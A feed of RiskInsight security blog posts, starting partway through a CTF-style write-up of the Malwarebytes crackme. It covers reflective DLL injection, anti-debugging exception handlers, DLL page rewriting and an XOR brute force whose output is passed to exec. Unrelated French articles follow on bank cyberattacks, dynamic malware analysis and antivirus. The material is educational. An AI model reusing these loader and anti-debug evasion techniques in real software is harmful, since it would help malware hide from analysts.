From the offset 2 of the file, a little shellcode located in the DOS headers transfers the execution to another code that implements Reflective DLL injection. This technique is used to load the library itself from memory, instead of normally loading the DLL from disk using the LoadLibrary API call.
 

The reflective loader’s code, located at 0x6E0, is documented in Stephen Fewer’s GitHub  and will not be described in this write-up. Since, in the end, the library is loaded by this mechanism as it would be after a normal LoadLibrary call, this downloaded file will be analyzed like a standard DLL in the rest of this write-up.

The list of exported functions being empty (except for the DllEntryPoint function), we start our analysis at the entry point of the DLL.

Entry point
Our first goal is to search for the DllMain() function from the entry point. If the reverser is not used to analyzing Windows DLLs, a simple way to start would be to open any random non-stripped 32bit DLL, which (with a little luck) would be compiled with the same compiler (Visual C++ ~7.10 here), and which would have a similar CFG structure for the DllEntryPoint function.
An example of CFG comparisons between the analyzed DLL (left) and another non-stripped 32bit DLL (right) is presented below:
 

This technique allows us to quickly find the DllMain function in our DLL, here being located at 0x10001170.
DllMain (0x10001170)
The function starts by checking if it has been called during the first load of the DLL by a process, by comparing the value of the fdwReason argument  against the DLL_PROCESS_ATTACH constant.
The DllMain() function then registers two exception handlers using the AddVectoredExceptionHandler  API call. The handlers are named “Handler_0” and “Handler_1” in the screenshot below:

An exception is then manually raised using the “int 3” interruption instruction, triggering the execution of Handler_0.
Interlude: debugging a DLL in IDA Pro
To make the reverse-engineering of some functions easier, debugging the code to observe function inputs and outputs can be an effective method.
One simple way to debug a DLL inside IDA is to load the file as usual, then go to “Debugger ->Process options…” and modify the following value:

• Application:
  •  On a 64 bits version of Windows:
    •   “C:\Windows\SysWOW64\rundll32.exe” to debug a 32 bits library
    •   “C:\Windows\System32\rundll32.exe” to debug a 64 bits library
  •  On a 32 bits version of Windows:
    •   “C:\Windows\System32\rundll32.exe” to debug a 32 bits library
    •   Obviously, you cannot run (therefore debug) a 64 bits library on a 32 bits version of Windows
•  Parameters:
  •   “PATH_OF_YOUR_DLL”,functionToCall [function parameters if any]

Note: The file extension must be “*.dll” for rundll32.exe to accept it.

To test the configuration, just place a breakpoint at the entry point of the DLL:

Run your debugger (F9). If configured correctly, your debugger should break at the DLL entry point, allowing you to debug any DLL function

Handler_0 (0x10001260)
Looking at Handler_0’s CFG (given below), we see that the function calls two unknown functions (0x100092C0 and 0x1000E61D). To quickly identify these functions, let’s debug the DLL, and look at the functions inputs/outputs:

sub_100092C0

The function seems to take 3 arguments:

• A buffer (here named “Value”);
• A value (here 0);
• The size of the buffer (here 0x104).

Let’s look at the buffer’s content before and after the function call:

The function prototype and its side effects correspond to the memset function.

sub_1000E61D

The function seems to take 4 arguments:

• An integer (here the PID of the process);
• A buffer (here named “Value”);
• The size of the buffer (here 0x104);
• A value (here 0xA, or 10).

Looking at the provided buffer’s content after the function call, we see that the representation in base 10 of the first integer passed in parameter is written in the provided buffer.

The function prototype and its side effects correspond to the _itoa_s function .

Handler_0 whole CFG and pseudo-code
Here is the graph of the Handler_0 function:

This corresponds to the following pseudo code:

if isloaded(“python.dll”):
   pid = getpid()
else:
   pid = 0
setEnvironmentVariable(“mb_chall”, str(pid))
return EXCEPTION_CONTINUE_SEARCH

The function checks the presence of the python27.dll library (normally loaded by the main program mb_crackme_2.exe) in the process address space, and sets the “mb_chall” environment variable consequently.
This may be seen as an “anti-debug” trick, because running the DLL independently in a debugger makes the execution follow a different path.

Handler_1 (0x100011D0)
The code of this handler is quite self-explanatory, being similar to the previous handler’s code:

Once again, this corresponds to the following pseudo code:

if getpid() == int(getenv(“mb_chall”):
   tmp = 6
else:
   tmp = 1
exceptionInfo->Context._Eip += tmp
return EXCEPTION_CONTINUE_EXECUTION

After this handler, execution restarts at the address of original interruption (“int 3”) +1 or +6 (as presented in the pseudo-code above), whether performed checks pass or not.

We thus continue the analysis at the not_fail function (0x100010D0).

not_fail (0x100010D0)
The function only starts a thread and waits for it to terminate.

The created thread executes the MainThread (0x10001110) function, where our analysis continues.

MainThread (0x10001110)
The function loops and calls the EnumWindows  API every second, which in turn calls the provided callback function (EnumWindowsCallback) on every window present on the desktop.

EnumWindowsCallback function (0x10005750)
The function, called on each window, uses the SendMessageA  API with the WM_GETTEXT message to retrieve the window’s title.

After being converted to C++ std::string, the substrings “Notepad” and “secret_console” are searched in the window’s title.

If both substrings are present, the window’s title is replaced by the hardcoded string “Secret Console is waiting for the commands…”, using the SendMessageA API along with the WM_SETTEXT message. The window is placed to the foreground, using the ShowWindow API call.

Modification of the window’s title using SendMessageA()

The PID of the process corresponding to the window is then written in the “malware”’s console, and sub-windows of this window are enumerated, using the EnumChildWindows  API.The function EnumChildWindowsCallback (0x100034C0) is thus called on every sub-window.

EnumChildWindowsCallback function (0x100034C0)
This function gets the content of the sub-window using the SendMessageA API call:

The substring “dump_the_key” is then searched in the retrieved content:

If this string is found, this function calls a decryption routine decrypt_buffer() (0x100016F0) on a buffer (encrypted_buff), using the string “dump_the_key” as argument.

Then, the “malware” loads the actxprxy.dll library into the process memory space. The first 4096 bytes (i.e. the first memory page) of the library is made writable using the VirtualProtect API call, and the decrypted payload is written at this location.

Since the actxprxy.dll library is not used anywhere in the analyzed DLL after being re-written, it may be seen as a covert communication channel between the analyzed DLL and the main program mb_crackme_2.exe. After this, the function clears every allocated memory and exits. The created thread (see 4.2.6) therefore also exits, and the DllEntryPoint function call terminates, giving the control back to the main python script.

Triggering the secret console

As seen in the DLL analysis, to trigger the required conditions, a file named “secret_console – Notepad” is opened in a text editor. As such, the window title contains the mentioned substrings:

As expected, the title of the window is changed to “Secret Console is waiting for the commands…” by the malware. Writing “dump_the_key” in the window validates the second stage.

Stage 3: the colors

After validating the previous step, a message is printed on the console, asking the user to “guess a color”:

The three components (R, G and B) of a specific color, with values going from 0 to 255, need to be entered to validate this step.

Understanding the code

Looking back at the another.py’s main() function code, it seems that the corresponding operations are performed inside the decode_pasted() function.

def main():
   [...]
      load_level2(decdata, len(decdata))
      user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
      try:
         if decode_pasted() == True:
            user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag and 
send it to Malwarebytes!''', 'You solved it!', 0)
            return 0

def decode_pasted():
    my_proxy = kernel_dll.GetModuleHandleA('actxprxy.dll')
    if my_proxy is None or my_proxy == 0:
        return False
    else:
        char_sum = 0
        arr1 = my_proxy
        str = ''
        while True:
            val = get_char(arr1)
            if val == '\x00':
                break
            char_sum += ord(val)
            str = str + val
            arr1 += 1

        print char_sum
        if char_sum != 52937:
            return False
        colors = level3_colors()
        if colors is None:
            return False
        val_arr = zlib.decompress(base64.b64decode(str))
        final_arr = dexor_data(val_arr, colors)
        try:
            exec final_arr
        except:
            print 'Your guess was wrong!'
            return False

        return True

def dexor_data(data, key):
    maxlen = len(data)
    keylen = len(key)
    decoded = ''
    for i in range(0, maxlen):
        val = chr(ord(data[i]) ^ ord(key[i % keylen]))
        decoded = decoded + val
    return decoded

def level3_colors():
    colorama.init()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print '''Level #3: Your flag is almost ready! But before it will be revealed
, you need to guess it's color (R,G,B)!'''
    print colorama.Style.RESET_ALL
    color_codes = ''
    while True:
        try:
            val_red = int(raw_input('R: '))
            val_green = int(raw_input('G: '))
            val_blue = int(raw_input('B: '))
            color_codes += chr(val_red)
            color_codes += chr(val_green)
            color_codes += chr(val_blue)
            break
        except:
            print 'Invalid color code! Color code must be an integer (0,255)'
    print 'Checking: RGB(%d,%d,%d)' % (val_red, val_green, val_blue)
    return color_codes

According to the decode_pasted() function, the decrypted buffer stored at the start of actxprxy.dll’s address space is read and:
base64-decoded;

• zlib-decompressed;
• XOR’ed against the user-provided colors values;
• Executed by the Python exec function.

To start our cryptanalysis, we modify the decode_pasted() function to dump the val_arr buffer before the dexor_data() operation, and rerun another.py, providing all required credentials:

[...]
if colors is None:
   return False
val_arr = zlib.decompress(base64.b64decode(str))
with open("val_arr.bin", "wb") as f:
   f.write(val_arr)
   print "val_arr dumped !"
exit()
final_arr = dexor_data(val_arr, colors)
[...]

Decrypting the val_arr buffer

Knowing that the buffer is a string passed to the “exec” Python statement after being decrypted, it should represent a valid Python source code.
To find the right key, the naïve solution would be to run a brute-force attack on all the possible “(R, G, B)” combinations, and look for printable solutions. This solution would need to perform 256^3 = 16’777’216 dexor_data() calls, which is feasible but inefficient.
Instead, we perform 3 independent brute-force attacks on each R, G and B component, therefore performing 256 x 3 = 768 dexor_data() calls. The 3 brute-force attacks are performed on different “slices” of the val_arr string (of each of stride 3). We then test each combination of potential values previously found for each component.
For example, if our 3 brute-force attacks indicate that:

• R can take values 2 and 37,
• G can take values 77 and 78,
• and B can only take the value 3,

Then we test the combinations (2,77, 3), (37,77, 3), (2,78, 3) and (37,78, 3).

The following code implements our attack:

import string
import itertools
from colorama import *
from another import dexor_data

with open("val_arr.bin", "rb") as f:
    val_arr = f.read()

#lists of possible values for R, G and B
potential_solutions = [list(), list(), list()]
for color in range(3): # separate bruteforce on R, G and B
    for xor_value in range(256): #testing all potential values
        valid = True
        for b in val_arr[color::3]: #extracting one every 3 characters, from index 
        # "color" (i.e. extracting all characters xored by the same "color" value)
            if chr(ord(b) ^ xor_value) not in string.printable:
                valid = False
                break
        if valid:
            potential_solutions[color].append(xor_value)

print "Possible values for R, G and B :", potential_solutions

for colors in itertools.product(*potential_solutions):
    print "Testing ", colors
    plaintext = dexor_data(val_arr, map(chr, colors))
    print repr(plaintext)
    if not raw_input("Does it seems right ? [Y/n]\n").startswith("n"):
       print "Executing payload :"
       exec plaintext
       break

Executing this code gives us the solution instantly:

The final flag appears in the console:

flag{"Things are not always what they seem; the first appearance 
deceives many; the intelligence of a few perceives what has been 
carefully hidden." - Phaedrus}

Conclusion

This challenge was very interesting to solve, because apart from being an original crackme, it also included various topics that could be found during a real malware analysis. These topics included:

• DLL-rewriting techniques, here used as a kind of covert communication channel between a DLL and its main process;
• “Non-obvious” anti-debugging tricks, like checking the presence of a known library in the process’ memory space to identify standalone DLL debugging;
• Concealed malware downloading, using « harmless » formats (like PNG) to hide an executable payload from basic traffic analysis;
• PyInstaller-based malware, (yes, sometimes malware writers can be lazy).

Thanks MalwareBytes for this entertaining challenge!

Cet article Malwarebytes challenge write-up est apparu en premier sur RiskInsight.

Le secteur bancaire, une cible historique

Les attaques contre le secteur financier ne sont pas une nouveauté, il s’agit même d’un secteur de prédilection pour les pirates agissant à des fins vénales. Mais en 2016 nous avons assisté à une diversification et à une intensification de ces attaques. En effet, au cours de l’année passée, plusieurs attaques majeures, motivées par l’attrait de gains financiers importants, ont été réalisées contre des banques de détail et d’investissement mais également contre des banques centrales. Sans viser à être exhaustif, cet article présente de manière synthétique certains des cas emblématiques.

Pour les banques, trois zones de risques, poreuses entre elles, sont clairement identifiées:

Depuis l’existence d’Internet, les failles des systèmes accessibles directement aux clients ont été largement exploitées par les cybercriminels qui ont continué à faire évoluer leurs techniques en 2016.

Les distributeurs de billets, très exposés historiquement, ont été visés par de nouveaux malwares, notamment ALICE et RIPPER. Ces malwares peuvent être installés sur la machine de deux façons différentes :

• En passant par le réseau auquel est connectée la machine pour accéder aux serveurs de gestion, nécessitant d’infiltrer le SI de la banque.
• Directement sur le système d’exploitation de la machine à l’aide d’un port USB mis à nu.

Le piratage des distributeurs de billets a résulté à la perte de plusieurs millions d’euros au cours de l’année passée pour différentes banques à travers le monde. En Europe, le groupe de cybercriminels Cobalt a piraté des distributeurs dans une douzaine de pays pour un montant inconnu. Des attaques similaires ont eu lieu à Taïwan et en Thaïlande avec le vol de 2,5M$ et 350k$ respectivement.

D’une autre manière, les DAB et TPE peuvent servir d’hôtes aux fameux « Skimmers ». Il s’agit d’un dispositif hardware plus ou moins discret permettant de récupérer l’empreinte de la carte des utilisateurs. Plusieurs types de « Skimmers » existent dont en particulier :

• Les Skimmers externes, reproduction de tout ou partie de la façade de la machine qui s’installe au-dessus du distributeur ou du terminal de paiement.
• Les Skimmers internes, s’installant directement dans le lecteur de carte de la machine .

Cette seconde méthode très en vogue en 2016 est difficilement détectable car il n’y a pas de modification importante de l’aspect physique de la machine, seule une caméra externe est requise pour capturer le code PIN. De plus ces Skimmers internes n’affectent ni le système d’exploitation ni le fonctionnement de la machine.

Beaucoup plus connus, les malwares de type cheval de Troie, continuent d’évoluer et sont toujours largement utilisés pour récupérer les informations de paiements des clients ; certains d’entre eux sont spécialement développés pour les smartphones, notamment sur Android.

L’évolution des attaques vers les systèmes exposés et internes en 2016

Les cas d’attaques les plus importants de l’années 2016 dénotent une évolution du mode opératoire des attaquants avec une préparation minutieuse qui dure jusqu’à plusieurs mois. Pour s’introduire dans le système d’information des institutions financières et le manipuler, des méthodes spécifiques doivent être suivies, en se basant sur le fonctionnement et les processus métier. Ces derniers sont étudiés longuement par les attaquants, afin d’agir efficacement et en toute discrétion.

Après ce temps de préparation et une fois le système d’information de la banque pénétré, les attaquants sont capables de manipuler les applications métier et de détourner des montants jusque-là impensables avec une seule attaque dont l’exécution ne dure que quelques heures.

Citons notamment en 2016 le record de l’année : 81 M$ qui ont quitté « les coffres » de la Bangladesh Bank de façon non légitime.

Le mode opératoire de l’attaque sur la Bangladesh Bank, ayant eu lieu au mois de février, permet de mieux comprendre comment le détournement de telles sommes est possible.

Les attaquants ont commencé par ouvrir au mois de Mai 2015 des comptes à la banque RCBC aux Philippines sous de fausses identités. Ils ont ensuite réussi à s’introduire dans le SI de la Bangladesh Bank, par une faille non identifiée.

Vient alors la phase préparatoire lors de laquelle ils ont installé sur le réseau de la banque un malware espion spécialement développé qui les renseigne sur les horaires de fonctionnement de l’équipe en charge des transactions SWIFT afin de s’aligner sur les pratiques de la banque. Ils parviennent aussi à récupérer les identifiants des opérateurs ayant les droits de création, approbation et exécution de ces transactions.

A la suite de cette période de préparation, l’attaque est lancée en Février 2016 avec 35 transactions frauduleuses ordonnées à la New York FED, gérant des comptes de la Bangladesh Bank pour un total de 951 millions de dollars vers des comptes de la RCBC aux Philippines, créés au préalables et associés à l’industrie du jeu et des casinos. La principale nouveauté repose dans le fait que le malware utilisé modifie les confirmations de transactions, supprime les enregistrements électroniques des ordres et bloque l’impression des récépissés papier pour ne laisser aucune trace de la fraude.

31 transactions seront bloquées par le système anti-fraude de la New York FED et les intermédiaires en cours de route, mais au final 4 transactions sont validées pour un montant total de 81 millions de dollars. Les fonds seront ensuite retirés des comptes pour être blanchis. L’enquête implique le FBI et le gouverneur de la Bangladesh Bank a été limogé.

En réponse à cette attaque et à des tentatives similaires contre des banques Vietnamiennes et Equatoriennes, le SWIFT a lancé en 2016 un programme de sensibilisation pour ses clients ainsi que des recommandations pour une meilleure cyber sécurité.

A quoi s’attendre pour la suite ?

Ce contexte agité promet donc une année 2017 sous haute vigilance pour tous les acteurs du monde financier. La tendance à mener des attaques en profondeur contre leurs systèmes devrait s’intensifier, nécessitant une réelle évolution dans l’appréhension de la cybersécurité. Certaines annonces tonitruantes comme celle réalisé au Royaume-Uni « a major bank will fail »  tente d’alerter sur cette situation.

La capacité des attaquants à agir directement sur les éléments clés du SI bancaire tels que le système anti-fraude et les applications métier impose aux banques de durcir leur sécurité informatique à tous les niveaux ; que ce soit par exemple avec la protection contre les intrusions, une meilleure gestion des identités ou des systèmes d’authentification forte pour les utilisateurs sensibles.

La spécificité du milieu bancaire à fonctionner sur un modèle de réseau fortement interconnecté implique que la cybersécurité des services partagés, tels que les systèmes de transactions internationaux ciblés à plusieurs reprises, soit abordée globalement afin de garantir un niveau de sécurité cohérent entre les établissements financiers.

Article réalisé conjointement avec les travaux de préparation du panorama de la cybercriminalité du CLUSIF 2017 sur la partie “menaces touchant la finance”. 

Cet article 2016 : les cyberattaques touchent la banque sur tous les fronts est apparu en premier sur RiskInsight.

1)     Analyse des opérations

L’analyse dynamique permet la surveillance de nombreuses informations : les registres, le système de fichiers et les processus. Cette étape est au début assez fastidieuse étant donné que de nombreuses informations sont accessibles. Il existe différents outils permettant d’accéder à ces informations. ProcessMonitor est l’un de ces outils qui a l’avantage de permettre à l’analyste de filtrer ses recherches sur un exécutable, ce qui est très pratique pour l’analyse de malwares.

Figure 1 : Résultat d’une analyse de ProcessMonitor sur un malware appelé mm32.exe

Figure 2 : Résultat de Process Explorer sur un exécutable

Dans ce résultat, le premier constat est la création d’un mécanisme de persistance HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run par le programme ckr.exe, le deuxième est la modification de la valeur de la seed pour le générateur de nombre aléatoire, ce qui représente un bruit habituel.

2)     Analyse réseau

Figure 4 : Interception des requêtes DNS et simulation des réponses par ApateDNS en utilisant l’IP 192.168.120.1

Figure 5 : Résultat renvoyé par Netcat lors de l’exécution de RShell en redirigeant les requêtes vers l’hôte grâce à ApateDNS

Figure 6 : Capture d’écran d’une analyse Wireshark

Figure 7 : Fonctionnalité Follow TCP Stream de Wireshark

3)     Analyse via débogueur

• Les software breakpoints : ces points d’arrêt sont utilisés pour faire en sorte que le programme s’arrête lorsque l’instruction sur laquelle ils sont placés est appelée. Pour réaliser cela, le débogueur remplace le premier octet de l’instruction par 0xCC, l’instruction pour INT3.

Cet article Reverse Engineering – focus sur l’analyse dynamique de malware est apparu en premier sur RiskInsight.

Des virus ou vers massifs : les premiers impacts généralisés

Les codes malveillants ont ensuite évolué, devenant de plus en plus visibles et entraînant des impacts bien réels dans les entreprises. C’est au début des années 2000 qu’ils ont fait le plus parler d’eux. Nimda (2001), Blaster (2003), Sasser (2004), tous ces noms donnent encore des sueurs froides aux responsables des postes de travail ou des réseaux. Ces codes malveillants entraînaient des indisponibilités massives en saturant les réseaux et ont mis en lumière les vulnérabilités et la fragilité du SI. Leurs effets sont somme toute restés limités à des indisponibilités et à des efforts humains importants de nettoyage au sein de la DSI. Conficker marque le dernier évènement marquant de cette catégorie… et il date maintenant de 2008. On trouve encore dans certains SI un peu de ces « anciens » codes malveillants, assez simples à nettoyer et dont on peut se protéger par des mesures basiques (application de correctif, blocage de flux sur les réseaux…).

Au-delà des dénis de service, les malwares deviennent des plateformes d’espionnage et de destruction

Aujourd’hui la situation a bien changé, et depuis le début des années 2010, nous voyons apparaître des codes malveillants d’un tout autre niveau. Des codes très impactants et pouvant provoquer des incidents majeurs. Nous  pouvons citer les malwares « incapacitants » ou « destructeurs », comme ceux ayant visé la Corée ou l’Arabie Saoudite, et ayant entraîné la destruction de postes de travail, ou encore le fameux ransomware Cryptolocker qui rend les données inaccessibles. Dans cette catégorie, Stuxnet représente certainement le code malveillant le plus abouti sur les systèmes industriels.

Certains codes malveillants sont aussi capables de devenir de véritables espions de l’activité d’une entreprise. Les fameux Gauss, Duqu, ou encore très récemment The Mask, sont capables de s’installer sur le SI d’une entreprise, de prendre le contrôle de postes de travail et d’exfiltrer des informations très sensibles sans être facilement détectés. Aujourd’hui ces codes malveillants sont issus de vrais groupes organisés, dotés de moyens importants et d’équipes entraînées. La révélation de The Mask le montre bien : le code malveillant et son infrastructure de contrôle disposaient de mécanismes pour bloquer les équipes des éditeurs de sécurité et une fois révélé, toute l’infrastructure a été décommissionée en 4 jours. L’organisation derrière ce malware avait bien prévu un « kill switch » pour disparaître en cas de compromission. Le changement de niveau technique et de moyens est bien réel, car les enjeux eux aussi ont beaucoup évolué depuis les années 1980 et la digitalisation progressive de notre société.

La fin du support de Window XP verra-t-elle ressurgir des menaces historiques ?

Il est évident que des codes malveillants « avancés » vont être révélés régulièrement. Les attaquants voient tout l’intérêt de continuer à faire évoluer leurs « armes numériques » et la montée en puissance est encore en cours. Les révélations sur la NSA montrent que les services de renseignement ont encore un cran d’avance avec des mécanismes d’attaques avancés, très discrets, et prévus pour se cacher en cas d’investigation.

Mais des problèmes que l’on croyait appartenir au passé reviendront-ils  à court terme ? En effet la fin du support de Windows XP peut faire ressurgir la crainte d’un ver réseau incapacitant qui se répandrait sur les systèmes d’information, utilisant encore cette version du système d’exploitation. La crainte est réelle dans les entreprises face à cet ancien type de menaces, et nous accompagnons de nombreuses structures qui se préparent à cette éventualité en revoyant leur processus de crise et en prévoyant des moyens de réactions et de préventions adéquates aujourd’hui.

Cet article De « I Love You » à « Blaster », va-t-on voir un retour des codes malveillants du passé ? est apparu en premier sur RiskInsight.

Après ces révélations, 2014 devra être une année de progression pour la communauté dans son ensemble. Les directions sont connues et les principes partagés. Néanmoins, leur promotion et leur application se feront sur  2014 !

2013 aura fait avancer la prise de conscience… Que peut –on souhaiter à la sécurité de l’information 2014 ?

Une sécurité plus transparente

C’est possible ! L’exemple de l’intégration de la reconnaissance biométrique à l’iPhone 5S le montre. Même si la solution n’est pas parfaite, elle a permis d’augmenter significativement le niveau de sécurité des personnes  qui n’utilisent pas de code de verrouillage en raison de la gêne qu’il représente. Au premier rang desquelles on peut citer la PDG de Yahoo, Marisa Meyer…

 Une sécurité plus ancrée dans le quotidien de la DSI

Un chemin important reste à parcourir pour maintenir une hygiène de base dans le SI. La question de l’application des correctifs et des mises à jour en est un exemple frappant. L’ANSSI pousse dans ce sens avec ses 40 règles d’hygiène. Le vote de la loi de Programmation militaire ne fera que renforcer cette orientation pour les structures concernées. Et rappelons que même les structures les plus visés par des attaques ne sont pas encore toutes au point sur ces sujets !

Une sécurité mieux appropriée par les métiers

Nous avons assisté en 2013 à une multiplication des attaques informatiques visant des activités métiers – comme les fraudes dans les agences Santander ou RBS, le premier malware visant SAP ou encore les attaques ciblées sur les systèmes gérant les plafonds de paiements de carte bancaire. Elles montrent aux métiers que lorsqu’un incident survient, certes le SI est touché, mais les cibles finales sont bien les données des métiers ! Ces cas entraînent des prises de conscience fortes. Nous ne pouvons évidemment pas souhaiter d’en voir plus, mais espérer que ces incidents auront été des aiguillons suffisamment forts pour montrer aux métiers, au-delà même des entreprises touchées, l’importance de leur implication au quotidien.

Une sécurité plus à même de détecter et de réagir en cas d’incidents

2013 aura connu son lots d’incidents. Toutes les menaces ont été mises sur le devant de la scène. États avec le rapport APT1 et les révélations sur la NSA, cybercriminels avec l’arrestation du plusieurs profils de haut niveau (Paunch par exemple) et des attaques destructrices (Corée du Sud) ou paralysantes (Cryptolocker). Tout ceci montre clairement que les incidents peuvent se produire et qu’il n’est pas toujours possible de les éviter. Il faut donc se préparer à réagir efficacement !

Une sécurité qui anticipe les innovations

Les évolutions se succèdent dans la société et la sécurité doit les accompagner si elle n’arrive pas à les devancer. Les objets connectés sont aujourd’hui au cœur de toutes les attentions, et 2013 nous a montré leurs vulnérabilités. Lunettes Google Glass, voiture Ford ou Toyota, ampoules Philips Hue, drone Parrot, tous ces systèmes ont été piratés. Et sur ce volet, les efforts de sécurité doivent être réalisé en amont, en effet, il sera très complexe de les mettre à jour une fois distribués sur le terrain !

La plupart des membres de la communauté de la sécurité de l’information partagent déjà ces orientations, mais il est bon de les rappeler et de les confirmer afin qu’elles guident nos actions sur 2014 !

Cet article Que souhaiter pour la sécurité de l’information en 2014 ? est apparu en premier sur RiskInsight.

Certes, les attaques évoluent, exploitant de plus en plus des vulnérabilités non dévoilées (type 0-days), ou faisant appel à des méthodes de phishing avancées contre lesquels les antivirus paraissent bien impuissants.

Même s’ils sont aujourd’hui loin d’être suffisants, leur utilité est pourtant toujours réelle.

 De l’antivirus au client unique de sécurité, les éditeurs ont fait évoluer leur offre

L’outil désigné par « antivirus » couvre en fait, dans la majorité des cas, plusieurs fonctions : antivirus (et de manière plus générale, antimalware), mais aussi pare-feu personnel, Host IPS (HIPS), outil de contrôle des ports USB…

C’est ce que l’on appelle le « client unique de sécurité » sur le poste de travail.

Il constitue aujourd’hui un rempart évident contre les infections, en particulier celles qui sont involontaires (clé USB infectée) ou récurrentes (virus anciens qui réapparaissent ponctuellement).

L’expérience des nombreux audits menés par Solucom montre qu’il protège parfois aussi contre des attaques plus complexes. Il peut par exemple détecter l’ exploitation d’une vulnérabilité pour laquelle le système n’aurait pas reçu le correctif, de type Conficker.

Il suffit d’ailleurs de se connecter à une console antivirus d’entreprise pour s’en convaincre : les détections/suppressions de virus sont encore nombreuses et régulières. En particulier, on constate souvent un pic lors des fameux scans hebdomadaires, souvent décriés par les utilisateurs pour les ralentissements qu’ils provoquent sur les postes (et leur manque d’efficacité supposé).

Plusieurs initiatives de grands comptes visant à diminuer leur fréquence ont d’ailleurs vu le jour.Elles n’ont jamais abouti, tant ces scans paraissent aujourd’hui encore  nécessaires – ne serait-ce que dans un rôle de « voiture-balai » afin de nettoyer le résidu récurrent de logiciels malveillants en tout genre. En revanche, une approche réaliste pour réduire le temps de scan est possible : réaliser un scan différentiel. Seuls les fichiers modifiés par rapport à la semaine précédente sont scannés.

 Le futur des antivirus est… dans le Cloud !

 Pour autant, les limites des antivirus ne font que s’affirmer depuis des années :

•  Les malwares sont de plus en plus complexes, leurs variantes innombrables, et même les éditeurs les plus réactifs ne sont plus capables de suivre la cadence.

• Dans les meilleurs cas, les définitions virales sont mises à jour quotidiennement sur les postes de travail : c’est déjà trop au vu des vitesses de propagation.

Un problème d’historique apparaît également : comment cumuler toutes les définitions de virus anciens et nouveaux, sans que la taille des fichiers contenant ces définitions n’explose, ralentissant encore le poste de travail, tout en nécessitant de plus en plus de temps à déployer ?

Les éditeurs d’antivirus commencent à proposer une réponse à ces problématiques, à travers le Cloud. Plutôt que de scanner un fichier sur le poste de travail, il s’agit d’en faire un hash (empreinte unique pour chaque fichier), qui est envoyé sur un serveur de l’éditeur, dans le Cloud. Il est alors comparé à une base de données mondiale, et peut même faire l’objet d’une note de « réputation » selon sa probabilité d’être ou non malveillant. L’information est alors renvoyée à l’antivirus sur le PC, qui prend les actions nécessaires le cas échéant.

Cette méthode prometteuse a toutefois ses contraintes : la nécessité d’une connexion internet, de qualité et le manque de maîtrise de la réaction de l’antivirus en cas de faux positif.

 Des changements de plateforme structurants

 Un dernier élément vient s’ajouter à la question de l’évolution des antivirus : il s’agit de l’évolution des systèmes d’exploitation eux-mêmes.

Les OS modernes intègrent en effet un certain nombre de mécanismes de sécurité natifs, qui rendent les attaques plus difficiles : isolement inter-applicatif, applications et drivers signés, mécanismes de cryptographie…

 Les deux principales plateformes mobiles en sont un bon exemple : tandis que l’efficacité des rares antivirus reste à démontrer sur Android, ils sont tout simplement interdits par Apple sur iOS. Pourtant, à part quelques vulnérabilités médiatisées, les cas d’infection dans le cadre d’une utilisation normale sont anecdotiques.

Ceci reste cependant à nuancer : les attaquants évaluent au final les coûts/bénéfices de chaque type d’attaque. Lorsque le développement de virus sur smartphone sera plus lucratif que l’exploitation d’une faille de navigateur Web, il deviendra sans doute à la mode…

Le cas de Windows 8 est encore différent : s’il dispose d’un environnement « nouvelle génération » avec les applications du Windows Store, il propose une rétrocompatibilité avec les programmes plus anciens… y compris malveillants.

N’enterrez donc pas tout de suite votre antivirus, il pourrait encore vous servir pendant des années !

Cet article Un antivirus sur votre PC entreprise en 2013 ? Pour quoi faire ? est apparu en premier sur RiskInsight.